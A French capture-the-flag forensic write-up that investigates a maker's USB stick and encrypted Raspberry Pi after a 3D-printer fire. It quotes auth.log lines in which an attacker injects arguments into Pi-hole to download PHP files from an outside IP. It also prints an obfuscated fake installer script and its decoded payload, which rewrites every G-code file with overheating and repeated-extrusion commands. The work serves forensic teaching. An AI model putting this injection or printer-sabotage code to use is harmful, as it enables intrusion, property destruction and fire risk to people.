Maker is dead

Contexte

Un maker est retrouvé mort dans un incendie, les pompiers déclarent que la cause de l'incendie provient d'une imprimante 3D. Dans l'incendie, ils récupèrent une clef usb et un raspberry pi à analyser.

Partie I

Lord of War 1/4

Piste de recherche : flag.txt

Pour commencer, nous avons deux images disques :

  • Raw1.dd qui correspond à la clé USB retrouvé

  • Raw2.dd qui correspond au raspberry

Les 4 premières étapes du challenge consiste à récupérer des informations dans le Raw1.dd

Je commence par lister le contenu de cette image :

onosh@siftworkstation:# file Raw1.dd 
Raw1.dd: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (0x0,32,33), end-CHS (0x79,222,37), startsector 2048, 1955840 sectors
onosh@siftworkstation:# mmls Raw1.dd 
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0001957887   0001955840   NTFS / exFAT (0x07)

Je découvre 3 partitions, dont une plus importante que les autres, la numéro "002" qui contient un système de fichier NTFS.

Je décide de regarder ce quelle contient :

onosh@siftworkstation:# fls -o 0000002048 -r -p Raw1.dd |grep -v '\$'
d/d 36-144-1:   System Volume Information
r/r 38-128-1:   System Volume Information/IndexerVolumeGuid
r/r 37-128-1:   System Volume Information/WPSettings.dat
-/r * 64-128-2: Flag.txt
-/r * 65-128-2: Meow.pdf
-/r * 66-128-2: Wiki.pdf
-/d * 67-144-2: MrNigloR-S01
-/r * 68-128-2: MrNigloR-S01/MrNigloR-S01-ep1-VOST.mp4
-/r * 69-128-2: MrNigloR-S01/MrNigloR-S01-ep1.mp4
-/d * 70-144-2: PgnChessBook
-/r * 71-128-2: PgnChessBook/Install_PgnChessBook.exe
-/r * 72-128-2: PgnChessBook/READ_ME_FIRST.txt
-/r * 73-128-2: PgnChessBook/my_best_game.pgn

Un fichier "Flag.txt" intéressant... ça semble être ce que l'on cherche vu notre piste de recherche ! J'extrait le fichier :

onosh@siftworkstation:# icat -o 0000002048 Raw1.dd 64-128-2 >flag.txt && cat flag.txt
ECW{59b931696910632cd89986ccbf626e388055477e}

J'ai mon premier flag ! ECW{59b931696910632cd89986ccbf626e388055477e} + 50 points

Lord of War 2/4

Piste de recherche : WALLET

Cette fois ci, on recherche quelque chose en rapport avec "Wallet" :

  • Portefeuille

  • Cryptomonnaie

  • Bitcoin, Ethereum ?

Je commence par chercher le mot clé dans l'image disque, mais sans succès :

onosh@siftworkstation:# grep -rina 'WALLET' Raw1.dd 
onosh@siftworkstation:# strings Raw1.dd |grep -in 'wallet'

Je décide donc d'approndir ma recherche dans les autres fichiers trouvé précemment !

J'ai à ma disposition :

  • 2 fichiers PDF

  • 2 Vidéos

  • Un jeu d'échec

Après quelques recherches dans le fichier PDF et les vidéos, aucune information semble pertinente pour cette piste "Wallet", je décide d'éplucher le jeu d'échec.

Le fichier PgnChessBook/READ_ME_FIRST.txt nous apprend qu'il est possible à partir du programme PgnChessBook/Install_PgnChessBook.exe d'importer une partie d'échec si elle est au format .pgn, ça tombe bien nous avons le fichier PgnChessBook/my_best_game.pgn.

J'éxécute le programme et j'importe le fichier :

Après quelques tests de simulation de la partie, on se rend vite compte qu'elle n'a aucun sens car les deux joueurs placent leurs pions n'importe comment.

Les données contenue dans le fichier my_best_game.pgn semblent d'autant plus étrange :

1. g3 h5 2. h4 Nh6 3. d3 g5 4. a3 b6 5. Nh3 a5 6. Rh2 d5 7. c3 b5 8. Bg2 Na6 9. g4 Qd6 10. Bh1 Qg3 11. c4 Ng8 12. hxg5 Qxh3 13. Qb3 Bd7 14. e3 Bc6 15. Nc3 Bh6 16. Be4 Qf3 17. Rh1 Qxf2+ 18. Kxf2 e5 19. d4 dxe4 20. Na2 f5 21. Qd3 Ra7 22. Nb4 hxg4 23. Ke2 a4 24. Rd1 Bb7 25. Nc6 Kf8 26. Rh1 Nf6 27. Ke1 Nb4 28. Qe2 Na6 29. Nb4 Ba8 30. Rh2 Bb7 31. Qc2 Bc8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kd5 1132. Ka3 Kd6 { White resigns. } 0-1

Je décide d'effectuer quelques recherches sur ce format.

Je tombe sur le dépot github d'un certain "jes" https://github.com/jes/chess-steg qui a développé un outil pour encoder/décoder du texte au format pgn.

Il met en plus à disposition un outil en ligne : https://incoherency.co.uk/chess-steg/

Et cette fois ci, la piste de recherche prend tout son sens :

On découvre une conversation entre "Drewski" et "Yuri".

Drewski semble vouloir acheter quelques choses à Yuri à travers des cryptomonnaies, Drewski procède à un paiement, et Yuri lui envoie un fichier "stl". Mais quelque chose se passe mal... car Yuri veut dans ses derniers messages, tuer Drewski. Drewski serait-il le maker mort dans l'incendie ?

En attendant, j'ai mon 2ème flag : ECW{6d064b364f2a315c32fd25184256c1278b12ee73} + 50 points

Lord of War 3/4

Piste de recherche : 2eme flag.txt

Pour cette 3ème étape, nous recherchons un deuxième fichier flag.txt sur l'image disque de la clé usb.

Ce fichier est peut-être caché dans les 2 fichiers pdf restant, où dans les 2 vidéos.

Je remarque un détail important concernant les deux vidéos, elles font la même durée, mais la vidéo VOST à une taille pratiquement deux fois plus grandes que l'autre.

onosh@siftworkstation:# ls -l |grep 'mp4'
-rwxrwxrwx 1 onosh onosh   7858017 Oct 15 23:09 MrNigloR-S01-ep1.mp4
-rwxrwxrwx 1 onosh onosh  18215861 Oct 17 12:18 MrNigloR-S01-ep1-VOST.mp4

On pourrait penser que les sous-titres sont la cause de cette différence de taille... je décide de les analyser !

onosh@siftworkstation:# du -h *mp4
7.5M    MrNigloR-S01-ep1.mp4
18M MrNigloR-S01-ep1-VOST.mp4

La vidéo est l'épisode 1 de la saison 1 de la série Mister Robot.

Un détail m'interpelle, certaines lettres dans les sous titres sont écrites en italiques :

J'extrait les sous-titres de la vidéo avec l'outil ffmpeg :

onosh@siftworkstation:# cat MrNigloR-S01-ep1-VOST_3_text.srt 
1
00:00:00,700 --> 00:00:03,700
What is it about society
that d<i>i</i>sappoints you so much?

2
00:00:11,000 --> 00:00:12,600
Oh, I <i>d</i>on't know.

3
00:00:13,200 --> 00:00:16,080
Is it that we collectively
thought Steve J<i>o</i>bs

4
00:00:16,080 --> 00:00:18,000
Was a great man, even whe<i>n</i> we knew

5
00:00:18,000 --> 00:00:21,000
He made billions off <i>t</i>he backs of children?

6
00:00:23,000 --> 00:00:26,500
Or maybe it's that it feels l<i>i</i>ke
all our heroes are counterfeit.

7
00:00:27,300 --> 00:00:30,000
The world itself's just one bi<i>g</i> hoax.

8
00:00:31,000 --> 00:00:34,300
Spamming with our run<i>n</i>ing
commentary of bullshit

9
00:00:34,300 --> 00:00:39,100
masquerading as insight, <i>o</i>ur
social media faking as intimacy.

10
00:00:41,000 --> 00:00:43,500
Or is it that we voted fo<i>r</i> this?

11
00:00:43,550 --> 00:00:43,550
scC<=:7b:?rCJAE$Ac4b

12
00:00:44,000 --> 00:00:46,000
Not with our rigged
<i>e</i>lections, but with our things,

13
00:00:46,000 --> 00:00:47,700
our propert<i>y</i>, our money.

14
00:00:48,510 --> 00:00:51,100
I'm n<i>o</i>t saying anything new.
We all know why we do this,

15
00:00:51,100 --> 00:00:53,200
not because H<i>u</i>nger Games
books makes us happy

16
00:00:54,100 --> 00:00:55,800
but because we wanna <i>b</i>e sedated.

17
00:00:56,000 --> 00:00:58,600
Because it's painful n<i>o</i>t to pretend,

18
00:00:58,600 --> 00:01:00,000
<i>b</i>ecause we're cowards.

19
00:01:01,090 --> 00:01:03,100
Fuck societ<i>y.</i>

On retrouve les caractères en italiques encadré par les balises <i></i>. En les récupérant un à un, on obtient idontignoreyouboby.

onosh@siftworkstation:# cat MrNigloR-S01-ep1-VOST_3_text.srt |grep '<i>' |cut -d">" -f2 |cut -d"<" -f1 |tr -d '\n'
idontignoreyouboby.

Autre détail, je remarque dans les sous-titres la chaîne scC<=:7b:?rCJAE$Ac4b mais elle semble être chiffré.

L'un des PDF (Wiki.pdf) disponible sur la clé usb, on nous donne des informations sur le ROT13, une technique de chiffrement par décalage :

Vu l'alphabet utilisé pour cette chaîne chiffré, le ROT13 n'est pas adapté. En revanche le ROT47 oui, car il prend en charge les caractères spéciaux, j'obtiens une clé : D4rklif3inCryptSp4c3

Maintenant, j'ai deux clés potentiels, mais je ne sais pas quoi en faire !

Après quelques recherches par mots clés sur google, je trouve mon bonheur, un article de Korben qui semble intéressant :

Cacher un conteneur TrueCrypt dans une vidéo

Que dit l'article :

Martin Fiedler, un allemand portant le pseudo KeyJ a mis en ligne sur son blog, une méthode permettant d’intégrer dans une vidéo MP4, un conteneur TrueCrypt... Avant de commencer, il faut trouver un MP4 ou un MOV qui soit crédible pour le transport. C’est à dire un film qui soit suffisamment bien encodé et de bonne qualité, pour qu’une augmentation de sa taille n’éveille pas les soupçons. Une série de 500 Mo que vous ferez grimper à 700 Mo pourra faire l’affaire si la qualité est au rendez-vous.

Comment cela fonctionne ?

Plus de détails

Et si nous avions un container chiffré dans notre vidéo ? Cela expliquerai sa taille importante et l'existance des clés pour le déchiffrer !

onosh@siftworkstation -> /tmp 
# mkdir /mnt/veracrypt
onosh@siftworkstation -> /tmp 
# veracrypt -t MrNigloR-S01-ep1-VOST.mp4 /mnt/veracrypt/
Enter password for /tmp/MrNigloR-S01-ep1-VOST.mp4: 
Enter PIM for /tmp/MrNigloR-S01-ep1-VOST.mp4: 
Enter keyfile [none]: 
Protect hidden volume (if any)? (y=Yes/n=No) [No]: 

onosh@siftworkstation -> /tmp 
# ls -l /mnt/veracrypt/
total 5502
-rwx------ 1 root root 4106658 oct.  23  2019 Brandalism.pdf
-rwx------ 1 root root      46 juil.  2 08:55 Flag.txt
-rwx------ 1 root root 1521110 juil.  2 09:29 Liberator.gcode
-rwx------ 1 root root    3150 juil.  2 08:43 xbdk.kdbx

3ème mission réussie ! le flag est à nous : ECW{40474cc4ffb7874ebab39da9d1a16caaa9f06b07} + 100 points

Lord of War 4/4

Pour ce dernier challenge, il n'y a pas de piste de recherche.

Le container veracrypt contenait 3 autres fichiers :

  • Un fichier pdf

  • Un fichier gcode

  • Un fichier kdbx

onosh@siftworkstation -> /tmp 
# ls -l /mnt/veracrypt/
total 5502
-rwx------ 1 root root 4106658 oct.  23  2019 Brandalism.pdf
-rwx------ 1 root root      46 juil.  2 08:55 Flag.txt
-rwx------ 1 root root 1521110 juil.  2 09:29 Liberator.gcode
-rwx------ 1 root root    3150 juil.  2 08:43 xbdk.kdbx

Le fichier Brandalism.pdf n'est pas intéressant car il est identique à celui mis à disposition par l'entreprise Brandalism sur internet (sha256sum identique).

Le fichier Liberator.gcode semble intéressant, car le "gcode" est un langage pour donner des instructions à une imprimante 3D. Mais ce fichier ne cache aucun secret, à part le logo des organisateurs du CTF.

Le dernier fichier est un keepass, j'essaye de l'ouvrir avec la clé récupéré précédemment idontignoreyouboby :

Et ça marche, le flag de cette dernière étape de la première partie était caché ici !

ECW{9dc2896d55b56eb19f59d544383f832644381817} + 100 points

Partie II

Cette deuxième partie est constituée de 3 étapes et l'analyse se concentre sur l'image disque du rapsberry, c'est à dire le fichier Raw2.dd

Burn After Reading 1/3

On nous donne les informations suivantes :

Suite de l'enquête sur le maker décédé dans des conditions suspicieuses...

Une piste de recherche : Point d'entrée

Ici, on doit chercher une trace, qui montrerait le point d'entrée de l'attaquant. Et pour trouver une trace, on vise automatiquement les logs.

Malheuresement, cette image disque du raspberry est chiffré avec Luks ! mais heureusement, le maker a enregistré la clé de déchiffrement dans le fichier keepass :

Il suffit de monter la partition chiffrée avec la clé "3DPiting" :

onosh@siftworkstation -> /tmp 
# cryptsetup luksOpen lapartitionluks.dd BRIOCHE
Enter passphrase for lapartitionluks.dd: 
onosh@siftworkstation -> /tmp 
# mount -r /dev/mapper/BRIOCHE /mnt/lulu/
onosh@siftworkstation -> /tmp 
# ls -l /mnt/lulu/
total 88
drwxr-xr-x  2 root root  4096 mai   27 07:11 bin
drwxr-xr-x  2 root root  4096 mai   27 07:24 boot
drwxr-xr-x  4 root root  4096 mai   27 07:05 dev
drwxr-xr-x 87 root root  4096 juil.  9 12:20 etc
drwxr-xr-x  3 root root  4096 mai   27 07:10 home
drwxr-xr-x 17 root root  4096 juil.  9 10:00 lib
drwx------  2 root root 16384 mai   27 07:24 lost+found
drwxr-xr-x  2 root root  4096 mai   27 07:05 media
drwxr-xr-x  2 root root  4096 mai   27 07:05 mnt
drwxr-xr-x  4 root root  4096 juil.  9 09:42 opt
drwxr-xr-x  2 root root  4096 mai   10 20:59 proc
drwx------  3 root root  4096 janv.  1  1970 root
drwxr-xr-x  4 root root  4096 mai   27 07:05 run
drwxr-xr-x  2 root root  4096 juil.  9 10:00 sbin
drwxr-xr-x  2 root root  4096 mai   27 07:05 srv
drwxr-xr-x  2 root root  4096 mai   10 20:59 sys
drwxrwxrwt  7 root root  4096 juil.  9 16:54 tmp
drwxr-xr-x 10 root root  4096 mai   27 07:05 usr
drwxr-xr-x 12 root root  4096 juil.  9 09:34 var

On a désormais accès au raspberry.

Comme dit ci-dessus, nous recherchons une "trace", quoi de mieux que les logs pour trouver cela ?

onosh@siftworkstation -> /m/lulu/ 
# ls -lart var/log/
total 18580
-rw-r--r--  1 root     root            0 mai   27 07:24 bootstrap.log
drwx------  2 root     root         4096 mai   27 07:24 private
-rw-r-----  1 root     adm        211062 juil.  9 09:21 syslog.1
-rw-rw----  1 root     utmp          384 juil.  9 09:23 btmp
drwxr-xr-x 12 root     root         4096 juil.  9 09:34 ..
-rw-r--r--  1 root     root         1380 juil.  9 09:41 alternatives.log
-rw-r--r--  1 root     root        24000 juil.  9 09:41 faillog
drwxr-x---  2 www-data www-data     4096 juil.  9 09:42 lighttpd
drwxr-xr-x  2 vboxadd       995     4096 juil.  9 09:43 pihole
drwxr-xr-x  6 root     root         4096 juil.  9 09:43 .
drwxr-xr-x  2 root     root         4096 juil.  9 10:48 apt
-rw-r--r--  1 root     root        55060 juil.  9 10:52 dpkg.log
-rw-r-----  1 root     adm          2600 juil.  9 12:18 user.log
-rw-r-----  1 root     adm         16883 juil.  9 12:18 debug
-rw-r-----  1 root     adm        136403 juil.  9 13:22 messages
-rw-rw-r--  1 root     utmp       292292 juil.  9 16:53 lastlog
-rw-r-----  1 root     adm        143132 juil.  9 16:53 kern.log
-rw-r-----  1 root     adm         96431 juil.  9 16:53 auth.log
-rw-r--r--  1 vboxadd       995 17953851 juil.  9 16:53 pihole.log
-rw-r-----  1 root     adm        115833 juil.  9 16:53 syslog
-rw-r-----  1 root     adm        168331 juil.  9 16:53 daemon.log
-rw-r--r--  1 vboxadd       995    15747 juil.  9 16:53 pihole-FTL.log
-rw-rw-r--  1 root     utmp        16128 juil.  9 16:54 wtmp

Nous savons que le maker est mort dans un incendie, suite à l'attaque d'un pirate. Nous devons retrouver le point d'entrée du pirate... le fichier auth.log semble être l'un des plus pertinent pour lister les tentatives d'authentification.

Je découvre des traces qui semblent malveillante vers 13:50:59 :

Jul  9 10:42:22 raspberrypi usermod[11586]: add 'pihole' to group 'www-data'
Jul  9 10:42:22 raspberrypi usermod[11586]: add 'pihole' to shadow group 'www-data'
Jul  9 10:42:22 raspberrypi usermod[11592]: add 'www-data' to group 'pihole'
Jul  9 10:42:23 raspberrypi usermod[11592]: add 'www-data' to shadow group 'pihole'
Jul  9 13:50:59 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts
Jul  9 13:50:59 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://mirror1.malwaredomains.com/files/justdomains
Jul  9 13:51:00 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://sysctl.org/cameleon/hosts
Jul  9 13:51:00 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt
Jul  9 13:51:01 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt
Jul  9 13:51:01 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable https://hosts-file.net/ad_servers.txt
Jul  9 13:51:02 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==
Jul  9 13:51:04 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==
Jul  9 13:51:04 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://2.57.116.54# -o fun.php -d 
Jul  9 13:51:06 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:51:30 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:51:53 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist disable http://2.57.116.54# -o fun.php -d
Jul  9 13:51:53 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/local/bin/pihole -a adlist add http://2.57.116.54# -o teleporter.php -d 
Jul  9 13:51:55 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:52:17 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -g
Jul  9 13:52:38 raspberrypi sudo: www-data : TTY=unknown ; PWD=/var/www/html/admin/scripts/pi-hole/php ; USER=root ; COMMAND=/usr/local/bin/pihole -a -t

L'utilisateur de "pihole", un outil pour bloquer les publicités, à supprimer et ajouter des noms de domaines aux listes de blocage de pihole.

Un nom de domaine est particulier : http://RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==

Il s'agit d'une chaine encodé en base64, et si on l'a décode :

onosh@siftworkstation -> /m/lulu/ 
# echo "RUNXe2VkOTM3NWYzMGJkMjIwNzdjZmRkNDk3YWU3YzJhZWYxYmI0YjgzMmZ9Cg==" |base64 -d
ECW{ed9375f30bd22077cfdd497ae7c2aef1bb4b832f}

Nous avons notre flag : ECW{ed9375f30bd22077cfdd497ae7c2aef1bb4b832f} + 50 points

Burn After Reading 2/3

Piste de recherche : Fichiers Ciblés

Rappelons nous, Yuri, le pirate avait envoyé un fichier "STL", ce fichier est utilisé par les imprimantes 3D. Je décide d'analyser les fichiers que l'imprimante du maker à utilisé.

La solution "octoprint" est installé sur le raspberry, cette solution permet de contrôler les opérations d'une imprimante 3D.

Les fichiers imprimés par l'imprimante sont stockés dans le répertoire uploads/

onosh@siftworkstation -> /m/lulu/ 
# ls -lart home/pi/.octoprint/uploads/
total 62316
-rw-------  1 bsi bsi  1310133 juil.  9 13:03 CE3PRO_Table_Hanger.gcode
-rw-------  1 bsi bsi  1561146 juil.  9 13:03 Liberator.gcode
-rw-------  1 bsi bsi 41533989 juil.  9 13:03 CE3PRO_corona.gcode
-rw-------  1 bsi bsi  3434681 juil.  9 13:03 CE3PRO_unbelievable.gcode
-rw-------  1 bsi bsi  1099516 juil.  9 13:03 CE3PRO_MIG-29_kit.gcode
-rw-------  1 bsi bsi 14846427 juil.  9 13:04 CE3PRO_Naomi__Wu.gcode

On découvre 6 fichiers, ouvrons les tous !

CE3PRO_Table_Hanger.gcode

CE3PRO_corona.gcode

CE3PRO_MIG-29_kit.gcode

CE3PRO_Naomi__Wu.gcode

CE3PRO_unbelievable.gcode

Cool, on a notre flag ! ECW{f79d8842c644881ddf017e0928e87710c0a15d84} + 50 points

Burn After Reading 3/3

Piste de recherche : Le virus

Pour cette dernière et ultime étape, nous devons retrouver le virus qui a tué le maker (non ce n'est pas le corona virus)

On imagine qu'il y a une action sur l'imprimante pour que celle-ci prennent feu, et tue Drewski...

Le meilleur moyen de retrouver ce "virus", est de tracer une timeline des événement, le dernier jour ou le raspberry a fonctionné.

Actuellement, le seul élement malveillant que nous avons, est le nom de domaine louche, ajouté par le pirate à travers pihole.

La photo en plus grand

L'ensemble de l'attaque est maintenant tracée, un élément est particulièrement étrange... il s'agit du script basic-install.sh.

C'est le premier élément louche à être présent sur le raspberry, d'une part par son horaire de création sur le serveur et d'autre part par son contenu.

Voici un échantillon de ce qu'il contient :

#!/bin/bash
  ${*^^}   "${@}"ba"${@%4GJp}"s'h'   ${*%%x\{&|q\]l} "${@/\(mL\'U./>l\"rs}" <<< "$(    "${@//F\[sym/8%wS;k43}"  $'\x70'rin''t'f' "\x$(  ${@,} \p\ri""\nt''$'\u0066'  %s  ';6Jb+l<2' "${@##=#BHH}" ${*~} |  "${@//x$Rdu;gr/VQos\!yS}" ${*,,}   'm'$'\1445''s'$'\u0075'm "${@~}"  |  $* ${*}   $'\x63'"${@#T%EP#}"u${*^}t   -b  $[   ((-56"#"k+-"6"1"#""$@"e)+22#2"7") ]-$[ ((15#"0"+-3#"${@/07Ueg+,@/d\!Fm%}"1"${@/t9u&17#/h\)V#wqQf}"1)+5${*^^}3"${@//Md=.RU</2=*P8o%v}"#${@%%ecrN}m)   ]   ${*##nN2Wv} ${*,,}   )"  ${@,}   ;   ${*//z\}BWp+:}   ${*//oxQaU2}  pr\in\t''f   "\x$( ${*//?I2jQpv}   $'\160\x72'""${*~}i$'\x6e'"t""f" %s  'dy52hd]8' ${*^} ${@#$&2\)-=*#} |   ${*,,}  m''d5''$'\u0073'um "${@^}" | "${@/a0^SL,,}" ${*~} cut -b $((  ((${!*}-53#a+4#"${@/1Cg\!JLUk}"11)+57#k)   ))-$[ ((-6"#

Le script bash semble avoir été obfusqué avec Bashfuscator, malheuresement pour nous, il n'existe pas de désobfuscateur…

Après avoir sandboxer ce petit script, qui peut-être contient un virus, je l'éxécute pour voir ce qu'il me donne. Quelques secondes d'attente, et le code source d'une page web s'affiche, la page youtube d'un clip de Kenji Girac...

Cela ne nous avance pas beaucoup...

Analysons la structure du fichier :

  • Il contient énormément d'expression étrange comme ${@//\{twl}

  • Au début du fichier, nous avons une redirection (<<<) :

    • ${*^^} "${@}"ba"${@%4GJp}"s'h' ${*%%x\{&|q\]l} "${@/\(mL\`U./>l\"rs}" <<< "$( "${@//F\[sym/8%wS;k43}"

Ce fameux "<<<" permet en bash, d'afficher ou d'éxécuter une commande en input.

Que ce passe t'il si je remplace ${*^^} "${@}"ba"${@%4GJp}"s'h' ${*%%x\{&|q\]l} "${@/\(mL\`U./>l\"rs}" par un simple cat pour afficher la commande lancée...

onosh@a154po4d2:/tmp# ./basic-install.sh
curl 'https://www.youtube.com/watch?v=63K5VMx2BZM' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: VISITOR_INFO1_LIVE=fiPetRZgDXQ; YSC=JleF1aORUEc; GPS=1; CONSENT=WP.288b95' -H 'Upgrade-Insecure-Requests: 1' -H 'TE: Trailers'

La commande curl qui récupère la page youtube du clip de Kenji s'affiche, cool !

Le fichier cache peut être une aute occurence de cette fameuse redirection "<<<"

Je trouve une deuxième redirection identique ! Le fichier utilise un OU pour lancer deux commandes :

bash <<< printf $(...) || bash <<< printf $(...)

Je n'ai plus qu’à récupérer la deuxième commande... Même opération que toute à l'heure, j'ajoute cat devant le deuxième "<<<" :

#ECW{7aaceb8d3e60402d94079707d2430c7394d916eb}
files=$(find / -type f -name "*.gcode" 2>/dev/null)
files=$(echo $files | tr " " "\n")
for file in $files
do
    sz=$(wc -l $file)
    sz=$(echo $sz |  cut -d " " -f1)
    div="2"
    med=$(expr $sz / $div)
    cat $file |head -n $med > temp
    python -c 'print "M107\nM190 S105\nM190 S105\nM109 S250"'>>temp
    x=$(cat $file |head -n $med | tail -n 1 | cut -d 'X' -f2 | cut -d '.' -f1)
    ((x2=$x+1))
    python -c 'print("G1 E10 F100\nG1 X'$x'\nG1 E10 F100\nG1 X'$x2'\n")*1000' >> temp
    cat $file |tail -n $med >> temp
    cat temp > $file
    rm temp
done

Nous avons notre dernier flag ! ECW{7aaceb8d3e60402d94079707d2430c7394d916eb} + 100 points

Quel était l'objectif de ce virus ?

  • Trouver tous les fichiers gcode présent sur le raspberry

  • Pour chaque fichier trouvé :

    • Il injecte une commande invalide à la fin du fichier

Un grand nombre de commandes invalides a peut-être fait bruler l'imprimante !

Dernière mise à jour